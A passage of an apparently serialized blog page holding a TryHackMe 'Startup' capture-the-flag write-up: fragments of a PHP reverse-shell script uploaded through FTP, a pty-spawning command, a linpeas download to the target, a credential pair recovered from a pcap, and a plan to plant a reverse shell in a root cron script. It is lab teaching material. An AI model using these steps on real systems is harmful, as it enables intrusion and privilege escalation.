,{"style":220},[2417],{"type":34,"value":477},{"type":24,"tag":139,"props":2419,"children":2420},{"style":220},[2421],{"type":34,"value":482},{"type":24,"tag":139,"props":2423,"children":2425},{"class":159,"line":2424},97,[2426,2430,2434,2438,2442,2446,2450,2455],{"type":24,"tag":139,"props":2427,"children":2428},{"style":450},[2429],{"type":34,"value":1986},{"type":24,"tag":139,"props":2431,"children":2432},{"style":220},[2433],{"type":34,"value":223},{"type":24,"tag":139,"props":2435,"children":2436},{"style":241},[2437],{"type":34,"value":423},{"type":24,"tag":139,"props":2439,"children":2440},{"style":220},[2441],{"type":34,"value":551},{"type":24,"tag":139,"props":2443,"children":2444},{"style":562},[2445],{"type":34,"value":2003},{"type":24,"tag":139,"props":2447,"children":2448},{"style":220},[2449],{"type":34,"value":467},{"type":24,"tag":139,"props":2451,"children":2452},{"style":252},[2453],{"type":34,"value":2454},"\"STDERR READ\"",{"type":24,"tag":139,"props":2456,"children":2457},{"style":220},[2458],{"type":34,"value":234},{"type":24,"tag":139,"props":2460,"children":2462},{"class":159,"line":2461},98,[2463,2467,2471,2475,2479,2483,2487,2491,2495,2499],{"type":24,"tag":139,"props":2464,"children":2465},{"style":241},[2466],{"type":34,"value":2025},{"type":24,"tag":139,"props":2468,"children":2469},{"style":164},[2470],{"type":34,"value":249},{"type":24,"tag":139,"props":2472,"children":2473},{"style":214},[2474],{"type":34,"value":2034},{"type":24,"tag":139,"props":2476,"children":2477},{"style":220},[2478],{"type":34,"value":467},{"type":24,"tag":139,"props":2480,"children":2481},{"style":241},[2482],{"type":34,"value":1432},{"type":24,"tag":139,"props":2484,"children":2485},{"style":220},[2486],{"type":34,"value":1437},{"type":24,"tag":139,"props":2488,"children":2489},{"style":226},[2490],{"type":34,"value":1515},{"type":24,"tag":139,"props":2492,"children":2493},{"style":220},[2494],{"type":34,"value":1446},{"type":24,"tag":139,"props":2496,"children":2497},{"style":241},[2498],{"type":34,"value":2051},{"type":24,"tag":139,"props":2500,"children":2501},{"style":220},[2502],{"type":34,"value":234},{"type":24,"tag":139,"props":2504,"children":2506},{"class":159,"line":2505},99,[2507,2511,2515,2519,2523,2527,2531,2536,2540,2544],{"type":24,"tag":139,"props":2508,"children":2509},{"style":450},[2510],{"type":34,"value":1986},{"type":24,"tag":139,"props":2512,"children":2513},{"style":220},[2514],{"type":34,"value":223},{"type":24,"tag":139,"props":2516,"children":2517},{"style":241},[2518],{"type":34,"value":423},{"type":24,"tag":139,"props":2520,"children":2521},{"style":220},[2522],{"type":34,"value":551},{"type":24,"tag":139,"props":2524,"children":2525},{"style":562},[2526],{"type":34,"value":2003},{"type":24,"tag":139,"props":2528,"children":2529},{"style":220},[2530],{"type":34,"value":467},{"type":24,"tag":139,"props":2532,"children":2533},{"style":252},[2534],{"type":34,"value":2535},"\"STDERR: ",{"type":24,"tag":139,"props":2537,"children":2538},{"style":241},[2539],{"type":34,"value":2093},{"type":24,"tag":139,"props":2541,"children":2542},{"style":252},[2543],{"type":34,"value":1033},{"type":24,"tag":139,"props":2545,"children":2546},{"style":220},[2547],{"type":34,"value":234},{"type":24,"tag":139,"props":2549,"children":2551},{"class":159,"line":2550},100,[2552,2556,2560,2564,2568,2572],{"type":24,"tag":139,"props":2553,"children":2554},{"style":214},[2555],{"type":34,"value":2110},{"type":24,"tag":139,"props":2557,"children":2558},{"style":220},[2559],{"type":34,"value":467},{"type":24,"tag":139,"props":2561,"children":2562},{"style":241},[2563],{"type":34,"value":929},{"type":24,"tag":139,"props":2565,"children":2566},{"style":220},[2567],{"type":34,"value":951},{"type":24,"tag":139,"props":2569,"children":2570},{"style":241},[2571],{"type":34,"value":2135},{"type":24,"tag":139,"props":2573,"children":2574},{"style":220},[2575],{"type":34,"value":234},{"type":24,"tag":139,"props":2577,"children":2579},{"class":159,"line":2578},101,[2580],{"type":24,"tag":139,"props":2581,"children":2582},{"style":220},[2583],{"type":34,"value":608},{"type":24,"tag":139,"props":2585,"children":2587},{"class":159,"line":2586},102,[2588],{"type":24,"tag":139,"props":2589,"children":2590},{"style":220},[2591],{"type":34,"value":844},{"type":24,"tag":139,"props":2593,"children":2595},{"class":159,"line":2594},103,[2596],{"type":24,"tag":139,"props":2597,"children":2598},{"emptyLinePlaceholder":14},[2599],{"type":34,"value":207},{"type":24,"tag":139,"props":2601,"children":2603},{"class":159,"line":2602},104,[2604,2609,2613,2617],{"type":24,"tag":139,"props":2605,"children":2606},{"style":214},[2607],{"type":34,"value":2608},"fclose",{"type":24,"tag":139,"props":2610,"children":2611},{"style":220},[2612],{"type":34,"value":467},{"type":24,"tag":139,"props":2614,"children":2615},{"style":241},[2616],{"type":34,"value":929},{"type":24,"tag":139,"props":2618,"children":2619},{"style":220},[2620],{"type":34,"value":234},{"type":24,"tag":139,"props":2622,"children":2624},{"class":159,"line":2623},105,[2625,2629,2633,2637,2641,2645],{"type":24,"tag":139,"props":2626,"children":2627},{"style":214},[2628],{"type":34,"value":2608},{"type":24,"tag":139,"props":2630,"children":2631},{"style":220},[2632],{"type":34,"value":467},{"type":24,"tag":139,"props":2634,"children":2635},{"style":241},[2636],{"type":34,"value":1432},{"type":24,"tag":139,"props":2638,"children":2639},{"style":220},[2640],{"type":34,"value":1437},{"type":24,"tag":139,"props":2642,"children":2643},{"style":226},[2644],{"type":34,"value":229},{"type":24,"tag":139,"props":2646,"children":2647},{"style":220},[2648],{"type":34,"value":1870},{"type":24,"tag":139,"props":2650,"children":2652},{"class":159,"line":2651},106,[2653,2657,2661,2665,2669,2673],{"type":24,"tag":139,"props":2654,"children":2655},{"style":214},[2656],{"type":34,"value":2608},{"type":24,"tag":139,"props":2658,"children":2659},{"style":220},[2660],{"type":34,"value":467},{"type":24,"tag":139,"props":2662,"children":2663},{"style":241},[2664],{"type":34,"value":1432},{"type":24,"tag":139,"props":2666,"children":2667},{"style":220},[2668],{"type":34,"value":1437},{"type":24,"tag":139,"props":2670,"children":2671},{"style":226},[2672],{"type":34,"value":546},{"type":24,"tag":139,"props":2674,"children":2675},{"style":220},[2676],{"type":34,"value":1870},{"type":24,"tag":139,"props":2678,"children":2680},{"class":159,"line":2679},107,[2681,2685,2689,2693,2697,2701],{"type":24,"tag":139,"props":2682,"children":2683},{"style":214},[2684],{"type":34,"value":2608},{"type":24,"tag":139,"props":2686,"children":2687},{"style":220},[2688],{"type":34,"value":467},{"type":24,"tag":139,"props":2690,"children":2691},{"style":241},[2692],{"type":34,"value":1432},{"type":24,"tag":139,"props":2694,"children":2695},{"style":220},[2696],{"type":34,"value":1437},{"type":24,"tag":139,"props":2698,"children":2699},{"style":226},[2700],{"type":34,"value":1515},{"type":24,"tag":139,"props":2702,"children":2703},{"style":220},[2704],{"type":34,"value":1870},{"type":24,"tag":139,"props":2706,"children":2708},{"class":159,"line":2707},108,[2709,2714,2718,2722],{"type":24,"tag":139,"props":2710,"children":2711},{"style":214},[2712],{"type":34,"value":2713},"proc_close",{"type":24,"tag":139,"props":2715,"children":2716},{"style":220},[2717],{"type":34,"value":467},{"type":24,"tag":139,"props":2719,"children":2720},{"style":241},[2721],{"type":34,"value":1273},{"type":24,"tag":139,"props":2723,"children":2724},{"style":220},[2725],{"type":34,"value":234},{"type":24,"tag":139,"props":2727,"children":2729},{"class":159,"line":2728},109,[2730],{"type":24,"tag":139,"props":2731,"children":2732},{"emptyLinePlaceholder":14},[2733],{"type":34,"value":207},{"type":24,"tag":139,"props":2735,"children":2737},{"class":159,"line":2736},110,[2738,2743,2747,2751,2757,2763,2767],{"type":24,"tag":139,"props":2739,"children":2740},{"style":450},[2741],{"type":34,"value":2742},"function",{"type":24,"tag":139,"props":2744,"children":2745},{"style":562},[2746],{"type":34,"value":2003},{"type":24,"tag":139,"props":2748,"children":2749},{"style":220},[2750],{"type":34,"value":223},{"type":24,"tag":139,"props":2752,"children":2754},{"style":2753},"--shiki-default:#E64553;--shiki-dark:#E06C75",[2755],{"type":34,"value":2756},"$",{"type":24,"tag":139,"props":2758,"children":2760},{"style":2759},"--shiki-default:#E64553;--shiki-default-font-style:italic;--shiki-dark:#E06C75;--shiki-dark-font-style:inherit",[2761],{"type":34,"value":2762},"string",{"type":24,"tag":139,"props":2764,"children":2765},{"style":220},[2766],{"type":34,"value":551},{"type":24,"tag":139,"props":2768,"children":2769},{"style":220},[2770],{"type":34,"value":482},{"type":24,"tag":139,"props":2772,"children":2774},{"class":159,"line":2773},111,[2775,2779,2783,2787,2791,2795],{"type":24,"tag":139,"props":2776,"children":2777},{"style":450},[2778],{"type":34,"value":522},{"type":24,"tag":139,"props":2780,"children":2781},{"style":220},[2782],{"type":34,"value":223},{"type":24,"tag":139,"props":2784,"children":2785},{"style":164},[2786],{"type":34,"value":1004},{"type":24,"tag":139,"props":2788,"children":2789},{"style":241},[2790],{"type":34,"value":401},{"type":24,"tag":139,"props":2792,"children":2793},{"style":220},[2794],{"type":34,"value":551},{"type":24,"tag":139,"props":2796,"children":2797},{"style":220},[2798],{"type":34,"value":482},{"type":24,"tag":139,"props":2800,"children":2802},{"class":159,"line":2801},112,[2803,2808,2813,2818,2824,2828],{"type":24,"tag":139,"props":2804,"children":2805},{"style":214},[2806],{"type":34,"value":2807},"                print",{"type":24,"tag":139,"props":2809,"children":2810},{"style":252},[2811],{"type":34,"value":2812}," \"",{"type":24,"tag":139,"props":2814,"children":2815},{"style":241},[2816],{"type":34,"value":2817},"$string",{"type":24,"tag":139,"props":2819,"children":2821},{"style":2820},"--shiki-default:#EA76CB;--shiki-dark:#56B6C2",[2822],{"type":34,"value":2823},"\\n",{"type":24,"tag":139,"props":2825,"children":2826},{"style":252},[2827],{"type":34,"value":1033},{"type":24,"tag":139,"props":2829,"children":2830},{"style":220},[2831],{"type":34,"value":260},{"type":24,"tag":139,"props":2833,"children":2835},{"class":159,"line":2834},113,[2836],{"type":24,"tag":139,"props":2837,"children":2838},{"style":220},[2839],{"type":34,"value":608},{"type":24,"tag":139,"props":2841,"children":2843},{"class":159,"line":2842},114,[2844],{"type":24,"tag":139,"props":2845,"children":2846},{"style":220},[2847],{"type":34,"value":844},{"type":24,"tag":139,"props":2849,"children":2851},{"class":159,"line":2850},115,[2852],{"type":24,"tag":139,"props":2853,"children":2854},{"emptyLinePlaceholder":14},[2855],{"type":34,"value":207},{"type":24,"tag":139,"props":2857,"children":2859},{"class":159,"line":2858},116,[2860,2864],{"type":24,"tag":139,"props":2861,"children":2862},{"style":170},[2863],{"type":34,"value":173},{"type":24,"tag":139,"props":2865,"children":2866},{"style":164},[2867],{"type":34,"value":2868},">\n",{"type":24,"tag":25,"props":2870,"children":2872},{"src":2871},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F8.jpg",[],{"type":24,"tag":30,"props":2874,"children":2875},{},[2876],{"type":34,"value":2877},"And when we look at our website, we can actually see the file we uploaded.",{"type":24,"tag":25,"props":2879,"children":2881},{"src":2880},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F9.jpg",[],{"type":24,"tag":30,"props":2883,"children":2884},{},[2885,2887],{"type":34,"value":2886},"Now let's start a listener on the port we specified and trigger it through the website and check if we received the shell. ",{"type":24,"tag":139,"props":2888,"children":2890},{"className":2889,"id":70,"style":71},[69],[2891],{"type":34,"value":2892},"(\u002Ffiles\u002Fftp\u002Fshell.php)",{"type":24,"tag":25,"props":2894,"children":2896},{"src":2895},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F10.jpg",[],{"type":24,"tag":30,"props":2898,"children":2899},{},[2900],{"type":34,"value":2901},"And yes, we got a shell. Now let's enter this Python code for an interactive shell.",{"type":24,"tag":147,"props":2903,"children":2907},{"className":2904,"code":2905,"language":2906,"meta":7,"style":7},"language-bash shiki shiki-themes catppuccin-latte one-dark-pro","python -c 'import pty; pty.spawn(\"\u002Fbin\u002Fbash\")'\n","bash",[2908],{"type":24,"tag":66,"props":2909,"children":2910},{"__ignoreMap":7},[2911],{"type":24,"tag":139,"props":2912,"children":2913},{"class":159,"line":160},[2914,2919,2925],{"type":24,"tag":139,"props":2915,"children":2916},{"style":562},[2917],{"type":34,"value":2918},"python",{"type":24,"tag":139,"props":2920,"children":2922},{"style":2921},"--shiki-default:#40A02B;--shiki-dark:#D19A66",[2923],{"type":34,"value":2924}," -c",{"type":24,"tag":139,"props":2926,"children":2927},{"style":252},[2928],{"type":34,"value":2929}," 'import pty; pty.spawn(\"\u002Fbin\u002Fbash\")'\n",{"type":24,"tag":46,"props":2931,"children":2933},{"id":2932},"privilege-escalation",[2934],{"type":34,"value":2935},"Privilege Escalation",{"type":24,"tag":30,"props":2937,"children":2938},{},[2939,2941,2948],{"type":34,"value":2940},"Now let's run an automated script for Privilege Escalation and see what we get. I will use ",{"type":24,"tag":37,"props":2942,"children":2945},{"href":2943,"rel":2944},"https:\u002F\u002Fgithub.com\u002Fpeass-ng\u002FPEASS-ng\u002Freleases\u002Fdownload\u002F20250801-03e73bf3\u002Flinpeas.sh",[41],[2946],{"type":34,"value":2947},"linpeas",{"type":34,"value":2949},".",{"type":24,"tag":30,"props":2951,"children":2952},{},[2953,2955,2961],{"type":34,"value":2954},"I placed this script in the ",{"type":24,"tag":66,"props":2956,"children":2958},{"className":2957},[],[2959],{"type":34,"value":2960},"\u002Fvar\u002Fwww\u002Fhtml",{"type":34,"value":2962}," path and started the Apache service. This will allow us to retrieve this script from the target device.",{"type":24,"tag":25,"props":2964,"children":2966},{"src":2965},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F11.jpg",[],{"type":24,"tag":30,"props":2968,"children":2969},{},[2970],{"type":34,"value":2971},"Let's download our script to the target device.",{"type":24,"tag":25,"props":2973,"children":2975},{"src":2974},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F12.jpg",[],{"type":24,"tag":30,"props":2977,"children":2978},{},[2979],{"type":34,"value":2980},"After granting the necessary permissions to our script, let's run it.",{"type":24,"tag":25,"props":2982,"children":2984},{"src":2983},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F13.jpg",[],{"type":24,"tag":30,"props":2986,"children":2987},{},[2988,2990,2996,2998,3004],{"type":34,"value":2989},"Our investigations have drawn our attention to the file ",{"type":24,"tag":66,"props":2991,"children":2993},{"className":2992},[],[2994],{"type":34,"value":2995},"\u002Fincitents\u002Fsuspicious.pcapng",{"type":34,"value":2997},". Let's examine this network log with ",{"type":24,"tag":66,"props":2999,"children":3001},{"className":3000},[],[3002],{"type":34,"value":3003},"wireshark",{"type":34,"value":2949},{"type":24,"tag":25,"props":3006,"children":3008},{"src":3007},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F14.jpg",[],{"type":24,"tag":30,"props":3010,"children":3011},{},[3012],{"type":34,"value":3013},"Let's upload this file to FTP and download it from our own device. (put suspicious.pcapng)",{"type":24,"tag":25,"props":3015,"children":3017},{"src":3016},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F15.jpg",[],{"type":24,"tag":30,"props":3019,"children":3020},{},[3021],{"type":34,"value":3022},"Let's download this file from my device and examine it with Wireshark.",{"type":24,"tag":25,"props":3024,"children":3026},{"src":3025},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F16.jpg",[],{"type":24,"tag":30,"props":3028,"children":3029},{},[3030],{"type":34,"value":3031},"Now let's examine the packages.",{"type":24,"tag":25,"props":3033,"children":3035},{"src":3034},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F17.jpg",[],{"type":24,"tag":25,"props":3037,"children":3039},{"src":3038},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F18.jpg",[],{"type":24,"tag":30,"props":3041,"children":3042},{},[3043,3045,3051,3053,3059],{"type":34,"value":3044},"As a result of our investigations, we obtain the pair ",{"type":24,"tag":66,"props":3046,"children":3048},{"className":3047,"id":70,"style":71},[69],[3049],{"type":34,"value":3050},"lennie:c4ntg3t3n0ughsp1c3",{"type":34,"value":3052},". Now let's establish a connection via ",{"type":24,"tag":66,"props":3054,"children":3056},{"className":3055},[],[3057],{"type":34,"value":3058},"ssh",{"type":34,"value":3060}," using this information.",{"type":24,"tag":25,"props":3062,"children":3064},{"src":3063},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F19.jpg",[],{"type":24,"tag":30,"props":3066,"children":3067},{},[3068,3070,3076,3078,3084],{"type":34,"value":3069},"Let's run the ",{"type":24,"tag":66,"props":3071,"children":3073},{"className":3072},[],[3074],{"type":34,"value":3075},"linpeas.sh",{"type":34,"value":3077}," script in the ",{"type":24,"tag":66,"props":3079,"children":3081},{"className":3080},[],[3082],{"type":34,"value":3083},"\u002Ftmp",{"type":34,"value":3085}," directory for this user.",{"type":24,"tag":25,"props":3087,"children":3089},{"src":3088},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F20.jpg",[],{"type":24,"tag":30,"props":3091,"children":3092},{},[3093,3095,3101,3103,3109],{"type":34,"value":3094},"These directories catch our attention. Here we have a script called ",{"type":24,"tag":66,"props":3096,"children":3098},{"className":3097},[],[3099],{"type":34,"value":3100},"planner.sh",{"type":34,"value":3102},". When we read this script, it runs a script called ",{"type":24,"tag":66,"props":3104,"children":3106},{"className":3105},[],[3107],{"type":34,"value":3108},"\u002Fetc\u002Fprint.sh",{"type":34,"value":2949},{"type":24,"tag":25,"props":3111,"children":3113},{"src":3112},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F21.jpg",[],{"type":24,"tag":30,"props":3115,"children":3116},{},[3117,3119,3124,3126,3131,3133,3139,3141,3147,3149,3154,3156,3161],{"type":34,"value":3118},"When we examine this script, we see that we have permission to write over it. We think of adding a reverse shell to this script. But this would not work under normal circumstances because we are already logged in as the lennie user and do not have root privileges on ",{"type":24,"tag":66,"props":3120,"children":3122},{"className":3121},[],[3123],{"type":34,"value":3100},{"type":34,"value":3125},". It's tricky, but maybe ",{"type":24,"tag":66,"props":3127,"children":3129},{"className":3128},[],[3130],{"type":34,"value":3100},{"type":34,"value":3132}," is a ",{"type":24,"tag":3134,"props":3135,"children":3136},"strong",{},[3137],{"type":34,"value":3138},"crontab job",{"type":34,"value":3140}," and is being run with root privileges at certain intervals :) In this case, we can add a reverse shell to the ",{"type":24,"tag":66,"props":3142,"children":3144},{"className":3143},[],[3145],{"type":34,"value":3146},"print.sh",{"type":34,"value":3148}," file, and when ",{"type":24,"tag":66,"props":3150,"children":3152},{"className":3151},[],[3153],{"type":34,"value":3100},{"type":34,"value":3155}," is triggered, it will execute the ",{"type":24,"tag":66,"props":3157,"children":3159},{"className":3158},[],[3160],{"type":34,"value":3146},{"type":34,"value":3162}," command, allowing us to obtain a shell with root privileges.",{"type":24,"tag":25,"props":3164,"children":3166},{"src":3165},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F22.jpg",[],{"type":24,"tag":25,"props":3168,"children":3170},{"src":3169},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F23.jpg",[],{"type":24,"tag":25,"props":3172,"children":3174},{"src":3173},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F24.jpg",[],{"type":24,"tag":3176,"props":3177,"children":3178},"style",{},[3179],{"type":34,"value":3180},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":7,"searchDepth":201,"depth":201,"links":3182},[3183,3184,3185],{"id":48,"depth":182,"text":51},{"id":121,"depth":182,"text":124},{"id":2932,"depth":182,"text":2935},"markdown","content:posts:2025:tryhackme-startup-writeup.md","content","posts\u002F2025\u002Ftryhackme-startup-writeup.md","posts\u002F2025\u002Ftryhackme-startup-writeup","md","\u002Fposts",[3194,3198],{"_path":3195,"title":3196,"date":3197},"\u002F2025\u002Ftryhackme-cyborg-writeup","TryHackMe - Cyborg","2025-08-23T05:49:06.000Z",{"_path":3199,"title":3200,"date":3201},"\u002F2025\u002Ftryhackme-brooklynninenine-writeup","TryHackMe - Brooklyn Nine Nine","2025-08-25T08:28:54.000Z",1776934250809]